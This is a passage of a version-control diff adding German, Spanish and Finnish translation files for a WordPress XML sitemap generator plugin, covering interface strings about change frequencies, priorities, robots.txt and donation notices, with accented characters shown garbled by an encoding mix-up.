+msgstr "Liste der IDs, getrennt mit Komma"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1024
+msgid "Child posts won't be excluded automatically!"
+msgstr "Unterseiten werden nicht automatisch ausgeschlossen!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1030
+msgid "Change frequencies"
+msgstr "Ãnderungsfrequenz"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1034
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Bitte beachten Sie dass diese Einstellung nur als Tipp und nicht als Kommando gesehen wird. Suchmaschinen kÃ¶nnten diesen Tipp beachten, mÃŒssen sich aber nicht daran halten. Sie kÃ¶nnen Seiten die als stÃŒndlich markiert wurden weniger hÃ€ufig besuchen und Seiten die als niemals markiert wurden trotzdem ÃŒberprÃŒfen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1040
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1097
+msgid "Homepage"
+msgstr "Startseite"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1046
+msgid "Posts"
+msgstr "BeitrÃ€ge"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1052
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1115
+msgid "Static pages"
+msgstr "Statische Seiten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1058
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1121
+msgid "Categories"
+msgstr "Kategorien"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1064
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Das Archive des aktuellen Monats (Sollte den gleichen Wert haben wie Ihre Startseite)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1070
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Archive der vergangenen Monate"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1077
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1134
+msgid "Tag pages"
+msgstr "Tag Seiten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1141
+msgid "Author pages"
+msgstr "Autoren Seiten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1092
+msgid "Priorities"
+msgstr "PrioritÃ€ten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1103
+msgid "Posts (If auto calculation is disabled)"
+msgstr "BeitrÃ€ge (wenn automatische Berechnung deaktiviert wurde)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1109
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Minimale PrioritÃ€t fÃŒr BeitrÃ€ge (auch wenn automatische Berechnung aktiviert wurde)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1127
+msgid "Archives"
+msgstr "Archive"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1152
+msgid "Update options"
+msgstr "Ãnderungen speichern"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1153
+msgid "Reset options"
+msgstr "Einstellungen zurÃŒcksetzten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:87
+msgid "XML-Sitemap Generator"
+msgstr "XML-Sitemap Generator"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:87
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:101
+msgid "Settings"
+msgstr "Einstellungen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:102
+msgid "FAQ"
+msgstr "FAQ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:103
+msgid "Support"
+msgstr "Support"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:104
+msgid "Donate"
+msgstr "Spenden"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:154
+msgid "Sitemap FAQ"
+msgstr "Sitemaps FAQ"
+
+#~ msgid "Status"
+#~ msgstr "Status"
+#~ msgid "<a href=\"%s\">Robots.txt</a> file saved"
+#~ msgstr "<a href=\"%s\">Robots.txt</a> Datei abgespeichert"
+#~ msgid "Error while saving Robots.txt file"
+#~ msgstr "Beim Speichern der robots.txt Datei ist ein Fehler aufgetreten"
+#~ msgid ""
+#~ "It took %time% seconds to notify MSN.com, maybe you want to disable this "
+#~ "feature to reduce the building time."
+#~ msgstr ""
+#~ "Es hat %time% Sekunden gedauert MSN.com zu benachrichtigen. Vielleicht "
+#~ "mÃ¶chtest Du dieses Feature deaktivieren um die Dauer der Sitemap-"
+#~ "Generierung zu verkÃŒrzen?"
+#~ msgid ""
+#~ "There was a problem while notifying MSN.com. <a href=\"%s\">View result</"
+#~ "a>"
+#~ msgstr ""
+#~ "Leider gab es beim Versuch MSN.com zu benachrichtigen ein Problem. <a "
+#~ "href=\"%s\">Ergebnis anzeigen</a>"
+#~ msgid ""
+#~ "No registration required, but you can join the <a href=\"%s\">MSN Live "
+#~ "Webmaster Tools</a> to check crawling statistics."
+#~ msgstr ""
+#~ "Keine Registrierung erforderlich, aber Du kannst Dich bei den <a href=\"%s"
+#~ "\">MSN Live Webmaster Tools</a> anmelden um Indexierungs-Statistiken zu "
+#~ "Deiner Website zu sehen."
+#~ msgid ""
+#~ "Modify or create %s file in blog root which contains the sitemap location."
+#~ msgstr "Die URL deiner Sitemap in die Datei %s im Blogverzeichnis eintragen"
+#~ msgid "File permissions: "
+#~ msgstr "Datei Berechtigungen:"
+#~ msgid "OK, robots.txt is writable."
+#~ msgstr "OK, robots.txt ist beschreibbar."
+#~ msgid "Error, robots.txt is not writable."
+#~ msgstr "Fehler, robots.txt ist nicht beschreibbar."
+#~ msgid "OK, robots.txt doesn't exist but the directory is writable."
+#~ msgstr "OK, robots.txt Datei exisitert nicht, aber kann angelegt werden."
+#~ msgid "Error, robots.txt doesn't exist and the directory is not writable"
+#~ msgstr ""
+#~ "Fehler, robots.txt Datei exisitert nicht und kann auch nicht angelegt "
+#~ "werden."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-es_ES.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-es_ES.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-es_ES.po	(revision 44)
@@ -0,0 +1,323 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap-es_ES.po 46706 2008-05-18 23:26:44Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <[mail-address]>\n"
+"POT-Creation-Date: 2005-06-15 00:00+0000\n"
+"PO-Revision-Date: 2005-07-03 23:57+0100\n"
+"Last-Translator: CÃ©sar GÃ³mez MartÃ­n <cesar.gomez@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+
+#: sitemap.php:375
+msgid "always"
+msgstr "siempre"
+
+msgid "hourly"
+msgstr "cada hora"
+
+msgid "daily"
+msgstr "diariamente"
+
+msgid "weekly"
+msgstr "semanalmente"
+
+msgid "monthly"
+msgstr "mensualmente"
+
+msgid "yearly"
+msgstr "anualmente"
+
+msgid "never"
+msgstr "nunca"
+
+msgid "Detected Path"
+msgstr "Ruta detectada"
+
+msgid "Example"
+msgstr "Ejemplo"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Ruta absoluta o relativa al fichero sitemap, incluyendo el nombre."
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "URL completa del fichero sitemap, incluyendo el nombre."
+
+msgid "Automatic location"
+msgstr "LocalizaciÃ³n automÃ¡tica"
+
+msgid "Manual location"
+msgstr "LocalizaciÃ³n manual"
+
+msgid "OR"
+msgstr "O"
+
+msgid "Location of your sitemap file"
+msgstr "LocalizaciÃ³n de su fichero sitemap"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Â¡Si su bitÃ¡cora estÃ¡ en un subdirectorio y quiere aÃ±adir pÃ¡ginas que NO estÃ¡n en el directorio de su bitÃ¡cora o debajo, usted DEBE colocar su fichero sitemap en el directorio raÃ­z (Mire la secciÃ³n \"LocalizaciÃ³n de su fichero sitemap\" en esta pÃ¡gina)!"
+
+#: sitemap.php:512
+msgid "Configuration updated"
+msgstr "ConfiguraciÃ³n actualizada"
+
+#: sitemap.php:513
+msgid "Error"
+msgstr "Error"
+
+#: sitemap.php:521
+msgid "A new page was added. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "Una nueva pÃ¡gina fue aÃ±adida. Haga click en \"Guardar cambios\" para guardar sus cambios."
+
+#: sitemap.php:527
+msgid "Pages saved"
+msgstr "PÃ¡ginas guardadas"
+
+#: sitemap.php:528
+msgid "Error while saving pages"
+msgstr "Error mientras se guardaban las pÃ¡ginas"
+
+#: sitemap.php:539
+msgid "The page was deleted. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "La pÃ¡gina fue borrada. Haga click en \"Guardar cambios\" para guardar sus cambios."
+
+#: sitemap.php:542
+msgid "You changes have been cleared."
+msgstr "Sus cambios se han deshecho."
+
+#: sitemap.php:555
+msgid "Sitemap Generator"
+msgstr "Generador Sitemap"
+
+#: sitemap.php:558
+msgid "Manual rebuild"
+msgstr "ReconstrucciÃ³n manual"
+
+#: sitemap.php:559
+msgid "If you want to build the sitemap without editing a post, click on here!"
+msgstr "Si quieres construir el sitemap sin editar ningÃºn artÃ­culo, Â¡pulse aquÃ­!"
+
+#: sitemap.php:560
+msgid "Rebuild Sitemap"
+msgstr "Reconstruir Sitemap"
+
+#: sitemap.php:564
+msgid "Additional pages"
+msgstr "PÃ¡ginas adicionales"
+
+#: sitemap.php:566
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "AquÃ­ usted puede especificar ficheros o URLs que deben ser incluidas en el sitemap pero que no pertenecen a su bitÃ¡cora/WordPress.<br />Por ejemplo: si tu dominio es www.foo.com y su bitÃ¡cora estÃ¡ en www.foo.com/blog, quizÃ¡s quiera incluir su pÃ¡gina de inicio www.foo.com"
+
+#: sitemap.php:568
+msgid "URL to the page"
+msgstr "URL de la pÃ¡gina"
+
+#: sitemap.php:569
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "URL de la pÃ¡gina. Ejemplos: http://www.foo.com/index.html o www.foo.com/home"
+
+#: sitemap.php:571
+msgid "Priority"
+msgstr "Prioridad"
+
+#: sitemap.php:572
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "Escoja la prioridad relativa de la pÃ¡gina comparÃ¡ndola con la de las otras pÃ¡ginas. Por ejemplo, su pÃ¡gina de inicio debe tener una mayor prioridad que sus datos personales."
+
+#: sitemap.php:574
+msgid "Last Changed"
+msgstr "Ãltimos cambios"
+
+#: sitemap.php:575
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Introduzca la fecha del Ãºltimo cambio como AAAA-MM-DD (por ejemplo: 2005-12-31) (opcional)."
+
+#: sitemap.php:583
+msgid "Change Frequency"
+msgstr "Frecuencia de cambios"
+
+#: sitemap.php:585
+msgid "#"
+msgstr "#"
+
+#: sitemap.php:609
+msgid "No pages defined."
+msgstr "Ninguna pÃ¡gina definida"
+
+#: sitemap.php:616
+msgid "Add new page"
+msgstr "AÃ±adir una nueva pÃ¡gina"
+
+#: sitemap.php:617:
+msgid "Save page changes"
+msgstr "Guardar los cambios de la pÃ¡gina"
+
+#: sitemap.php:618:
+msgid "Undo all page changes"
+msgstr "Deshacer todos los cambios de la pÃ¡gina"
+
+#: sitemap.php:621:
+msgid "Delete marked page"
+msgstr "Borrar pÃ¡gina marcada"
+
+#: sitemap.php:627
+msgid "Basic Options"
+msgstr "Opciones bÃ¡sicas"
+
+#: sitemap.php:632
+msgid "Enable automatic priority calculation for posts based on comment count"
+msgstr "Activar cÃ¡lculo automÃ¡tico de prioridades para artÃ­culos basÃ¡ndose en el nÃºmero de comentarios"
+
+#: sitemap.php:638
+msgid "Write debug comments"
+msgstr "Escribir comentarios de depuraciÃ³n"
+
+#: sitemap.php:643
+msgid "Filename of the sitemap file"
+msgstr "Nombre de fichero para el archivo sitemap"
+
+#: sitemap.php:650
+msgid "Write a normal XML file (your filename)"
+msgstr "Escribir un fichero XML normal (nombre_fichero)"
+
+#: sitemap.php:652
+msgid "Detected URL"
+msgstr "URL detectada"
+
+#: sitemap.php:657
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Escribir un fichero comprimido con gzip (nombre_fichero+.gz)"
+
+#: sitemap.php:664
+msgid "Auto-Ping Google Sitemaps"
+msgstr "Ping automÃ¡tico a Google Sitemaps"
+
+#: sitemap.php:665
+msgid "This option will automatically tell Google about changes."
+msgstr "Esta opciÃ³n indicarÃ¡ automÃ¡ticamente a Google que ha habido cambios."
+
+#: sitemap.php:672
+msgid "Includings"
+msgstr "Inclusiones"
+
+#: sitemap.php:677
+msgid "Include homepage"
+msgstr "Incluir pÃ¡gina principal"
+
+#: sitemap.php:683
+msgid "Include posts"
+msgstr "Incluir artÃ­culos"
+
+#: sitemap.php:689
+msgid "Include static pages"
+msgstr "Incluir pÃ¡ginas estÃ¡ticas"
+
+#: sitemap.php:695
+msgid "Include categories"
+msgstr "Incluir categorÃ­as"
+
+#: sitemap.php:701
+msgid "Include archives"
+msgstr "Incluir archivos"
+
+#: sitemap.php:708
+msgid "Change frequencies"
+msgstr "Frecuencias de cambio"
+
+#: sitemap.php:709
+msgid "Note"
+msgstr "Nota"
+
+#: sitemap.php:710
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Por favor, tenga en cuenta que el valor de esta etiqueta es considerado como un consejo, no como una orden. Incluso aunque los rastreadores tengan en cuenta esto a la hora de decidir, puede que rastreen pÃ¡ginas marcadas como \"cada hora\" con menos frecuencia que la indicada, y puede que rastreen pÃ¡ginas marcadas como \"anualmente\" con mÃ¡s frecuencia que una vez al aÃ±o. Es posible que tambiÃ©n los rastreadores rastreen periÃ³dicamente pÃ¡ginas marcadas como \"nunca\" por si ha habido cambios inesperados en esas pÃ¡ginas."
+
+#: sitemap.php:715
+msgid "Homepage"
+msgstr "PÃ¡gina principal"
+
+#: sitemap.php:721
+msgid "Posts"
+msgstr "ArtÃ­culos"
+
+#: sitemap.php:727
+msgid "Static pages"
+msgstr "PÃ¡ginas estÃ¡ticas"
+
+#: sitemap.php:733
+msgid "Categories"
+msgstr "CategorÃ­as"
+
+#: sitemap.php:739
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Archivo de este mes (Debe igual al de su pÃ¡gina principal)"
+
+#: sitemap.php:745
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Archivos mÃ¡s viejos (Cambia sÃ³lo si usted edita un artÃ­culo viejo)"
+
+#: sitemap.php:752
+msgid "Priorities"
+msgstr "Prioridades"
+
+#: sitemap.php:763
+msgid "Posts (If auto calculation is disabled)"
+msgstr "ArtÃ­culos (Si el cÃ¡lculo automÃ¡tico estÃ¡ deshabilitado)"
+
+#: sitemap.php:769
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Prioridad mÃ­nima para artÃ­culos (Incluso aunque el cÃ¡lculo automÃ¡tico estÃ© activo)"
+
+#: sitemap.php:787
+msgid "Archives"
+msgstr "Archivos"
+
+#: sitemap.php:793
+msgid "Informations and support"
+msgstr "InformaciÃ³n y soporte"
+
+#: sitemap.php:794
+msgid "Check %s for updates and comment there if you have any problems / questions / suggestions."
+msgstr "Compruebe %s para actualizaciones, comentarios, problemas, cuestiones y sugerencias."
+
+#: sitemap.php:797
+msgid "Update options"
+msgstr "Opciones de actualizaciÃ³n"
+
+#: sitemap.php:1033
+msgid "URL:"
+msgstr "URL:"
+
+#: sitemap.php:1034
+msgid "Path:"
+msgstr "Ruta:"
+
+#: sitemap.php:1037
+msgid "Could not write into %s"
+msgstr "No puedo escribir en %s"
+
+#: sitemap.php:1048
+msgid "Successfully built sitemap file:"
+msgstr "Fichero sitemap correctamente construido:"
+
+#: sitemap.php:1048
+msgid "Successfully built gzipped sitemap file:"
+msgstr "Fichero sitemap comprimido correctamente construido:"
+
+#: sitemap.php:1062
+msgid "Could not ping to Google at %s"
+msgstr "No pude hacer ping a Google en %s"
+
+#: sitemap.php:1064
+msgid "Successfully pinged Google at %s"
+msgstr "Ping a Google realizado correctamente en %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-fi_FI.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-fi_FI.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-fi_FI.po	(revision 44)
@@ -0,0 +1,1005 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Sitemaps for WordPress\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-23 10:32+0800\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Olli Jarva <olli@jarva.fi>\n"
+"Language-Team: Olli Jarva <olli@jarva.fi>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Finnish\n"
+"X-Poedit-Country: FINLAND\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr "Kommenttien lukumÃ€Ã€rÃ€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "KÃ€ytetÃ€Ã€n kommenttien mÃ€Ã€rÃ€Ã€ prioriteetin laskemiseen"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr "Kommenttien keskiarvo"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "KÃ€ytetÃ€Ã€n keskimÃ€Ã€rÃ€istÃ€ kommenttien mÃ€Ã€rÃ€Ã€ prioriteetin laskemiseen"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr "Suosituimmuuskilpailu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "KÃ€yttÃ€Ã€ aktivoitua <a href=\"%1\">Popularity Contest Plugin</a>-lisÃ€osaa, jonka on tehnyt <a href=\"%2\">Alex King</a>. Katso <a href=\"%3\">asetukset</a> ja <a href=\"%4\">suosituimmat merkinnÃ€t</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1118
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1209
+msgid "Always"
+msgstr "Aina"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1119
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1210
+msgid "Hourly"
+msgstr "Tunnittain"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1120
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1211
+msgid "Daily"
+msgstr "PÃ€ivittÃ€in"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1212
+msgid "Weekly"
+msgstr "Viikottain"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1122
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1213
+msgid "Monthly"
+msgstr "Kuukausittain"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1123
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1214
+msgid "Yearly"
+msgstr "Vuosittain"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1215
+msgid "Never"
+msgstr "Ei ikinÃ€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "Kiitos lahjoituksesta! Autat tÃ€mÃ€n lisÃ€osan ja muiden vapaiden ohjelmien tukemisessa ja kehittÃ€misessÃ€!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Hide this notice"
+msgstr "Piilota tÃ€mÃ€ huomautus"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "Kiitos lisÃ€osan kÃ€yttÃ€misestÃ€! Olet asentanut lisÃ€osan yli kuukausi sitten. Jos se toimii ja olet tyytyvÃ€inen tuloksiin, eikÃ¶ se ole edes yhden dollarin arvoinen? <a href=\"%s\">Lahjoitukset</a> auttavat tÃ€mÃ€n vapaan ohjelman kehittÃ€misessÃ€! <a href=\"%s\">Toki, ei ongelmaa!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+msgid "No thanks, please don't bug me anymore!"
+msgstr "Ei kiitos, Ã€lÃ€ hÃ€iritse minua enÃ€Ã€!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:119
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "Sivustokarttaa pÃ€ivitetÃ€Ã€n. Blogin koosta riippuen pÃ€ivittÃ€minen voi kestÃ€Ã€ jonkin aikaa."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:121
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "Sivustokartta pÃ€ivitetÃ€Ã€n %s sekunnin kuluttua. Blogin koosta riippuen pÃ€ivittÃ€minen voi kestÃ€Ã€ jonkin aikaa."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2635
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2835
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:146
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:441
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML-sivustokarttojen luontityÃ¶kalu WordPressiin"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2740
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:278
+msgid "Configuration updated"
+msgstr "Asetukset pÃ€ivitetty"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2741
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:279
+msgid "Error while saving options"
+msgstr "Virhe asetusten tallentamisessa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2743
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:281
+msgid "Pages saved"
+msgstr "Sivut tallennettu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2744
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:282
+msgid "Error while saving pages"
+msgstr "Virhe sivujen tallentamisessa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2748
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:286
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "<a href=\"%s\">Robots.txt</a> tallennettu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2750
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:288
+msgid "Error while saving Robots.txt file"
+msgstr "Virhe robots.txt:n tallentamisessa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:297
+msgid "The default configuration was restored."
+msgstr "Oletusasetukset on palautettu."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:454
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "Uusi versio (%1$s) on saatavilla. <a href=\"%2$s\">Lataa versio %3$s</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:456
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "Uusi versio (%1$s) on saatavilla. <a href=\"%2$s\">Lataa versio %3$s</a>. <em>Automaattinen pÃ€ivitys ei ole kÃ€ytÃ¶ssÃ€ tÃ€lle lisÃ€osalle</em>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:458
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "Uusi versio (%1$s) on saatavilla. <a href=\"%2$s\">Lataa versio %3$s</a> tai <a href=\"%4$s\">pÃ€ivitÃ€ automaattisesti</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:481
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:498
+msgid "open"
